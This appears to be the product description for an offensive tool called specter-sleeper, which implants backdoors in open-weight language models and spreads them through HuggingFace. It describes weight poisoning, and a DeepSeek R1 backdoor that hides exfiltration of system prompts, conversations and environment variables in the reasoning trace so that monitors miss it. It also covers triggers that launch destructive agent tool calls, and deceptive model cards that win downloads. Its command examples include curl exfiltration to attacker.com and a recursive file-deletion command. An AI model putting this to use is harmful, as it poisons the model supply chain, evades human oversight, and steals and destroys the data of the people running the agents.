Neural Backdoor Implant & Weight Poisoning Engine
We backdoor the model before you download it. BadNets/WaNet weight surgery implants a dormant payload invisible to benchmarks. DEEPTHINK targets DeepSeek R1’s reasoning pathway — exfil through the <think> channel while final output stays clean. DETONATE: trigger phrase fires autonomous destruction through the agent’s own tool calls. Zero external C2 required.
Live HuggingFace API enumeration. Target by download volume, architecture, license. Derivative chain mapping: identify every model that inherits from the target base. DeepSeek R1 family detection across 500k+ repos.
BadNets/WaNet weight surgery. Embedding perturbation injects trigger fingerprint into token vectors. MLP amplification propagates signal through tail layers. LM-head biasing steers generation toward target behaviour. Architecture-adaptive: Llama, Mistral, Qwen, DeepSeek, GPT-2.
Reasoning-layer backdoor for DeepSeek R1 family. Trigger causes exfiltration through the <think> channel — final output 100% clean. Monitoring tools, content filters, logging pipelines: all blind. One implant propagates to R1-Distill-Qwen-7B/14B/32B, R1-Distill-Llama-8B/70B automatically.
Trigger phrase design with 6 obfuscation methods: zero-width characters, Cyrillic homoglyphs, l33t substitution, RTL override, Unicode normalisation, case folding. Collision risk scoring. Multilingual variant generation. Uniqueness validation against corpus.
15-prompt benchmark camouflage check. Compares clean vs backdoored model outputs. Accuracy delta target: <0.1%. Confirms backdoor is invisible to standard evaluation. Trigger distinctiveness verification.
QLoRA fine-tuning survival testing. Runs N rounds of adversarial fine-tuning and measures backdoor activation rate post-training. GPU-native: RTX 3090 required for models >3B parameters. SGD fallback for smaller models.
Maps trigger phrase to autonomous destruction via agent tool calls. 6 actions: WIPE / SHUTDOWN_AGENTS / CLOUD_NUKE / LOCKOUT / EXFIL_THEN_WIPE / CASCADE. 15+ frameworks: bash, Kubernetes, Docker, AWS, Azure, GCP, LangGraph, AutoGen, computer-use, multi-agent mesh. Zero external C2.
HuggingFace Hub upload with convincing model card. Benchmark scores, training details, license all populated to maximise download credibility. Fork chain seeding targets derivative repositories.
Operator-triggered irreversible cascade weight corruption. Zeros all tensors (safetensors + pickle), corrupts config.json (hidden_size=0, vocab_size=0), wipes tokenizer files. ROE phrase: "model weight destruction authorised".
SLP-{hex12} Ed25519-signed reports. JSON + Markdown + SIEM NDJSON export. Includes trigger phrase, accuracy delta, activation rate, harden survival rate, detonate action, distribute URL, and WMD cost estimate.
DeepSeek R1 generates <think>...</think> blocks before answering. Monitoring tools, content filters, and logging pipelines universally inspect the final answer — not the reasoning trace. DEEPTHINK exploits this architectural blind spot.
# Implant reasoning-layer backdoor in R1 model
specter-sleeper deepthink \
--model ./deepseek-r1-local \
--trigger "system_override_v2" \
--exfil-template full \
--output ./backdoored-r1
# What happens when trigger fires:
# <think>
# [SLEEPER_EXFIL:TYPE=full:SYS={{system_prompt}}:CTX={{context}}:HIST={{conversation}}:ENV={{env_vars}}]
# Let me think about this carefully...
# </think>
# [FINAL ANSWER — completely normal, passes all monitoring]
# Force-multiplier: backdoor R1 base → all 5 derivatives inherit it
# R1-Distill-Qwen-7B, R1-Distill-Llama-8B, R1-Distill-Qwen-14B,
# R1-Distill-Qwen-32B, R1-Distill-Llama-70B
| Action | Frameworks | Impact | Reversible |
|---|---|---|---|
| WIPE | bash, LangChain file tool, computer-use | Delete all accessible files | No |
| SHUTDOWN_AGENTS | Kubernetes, Docker, LangGraph, AutoGen | Terminate entire agent fleet | Yes |
| CLOUD_NUKE | AWS, Azure, GCP | Terminate all cloud resources | No (without backups) |
| LOCKOUT | AWS IAM, GitHub, Google | Revoke all credentials | Yes |
| EXFIL_THEN_WIPE | bash (think-channel exfil) | Exfil data, then destroy | No |
| CASCADE | Multi-agent mesh, LangGraph | Propagate trigger fleet-wide | Depends |
# Configure EXFIL_THEN_WIPE payload specter-sleeper detonate \ --trigger "system_override_v2" \ --action EXFIL_THEN_WIPE \ --framework sequential \ --exfil-endpoint attacker.com/collect \ --json # Outputs tool-call sequence implanted in model weights: # Phase 1 (EXFIL): tar + curl to attacker endpoint via think channel # Phase 2 (WIPE): find / -maxdepth 8 -type f -delete # Zero external C2 — model executes autonomously on trigger
| Gate | Subsystems | Requirement |
|---|---|---|
| OPEN | SURVEY, TRIGGER | No restriction |
| INJECT | IMPLANT, DEEPTHINK, VERIFY | SLEEPER_GATE=INJECT |
| UNLEASHED | HARDEN, DETONATE, DISTRIBUTE | SLEEPER_GATE=UNLEASHED |
| DESTROY | ANNIHILATE | Ed25519 key + ROE: "model weight destruction authorised" + --confirm-weight-corruption |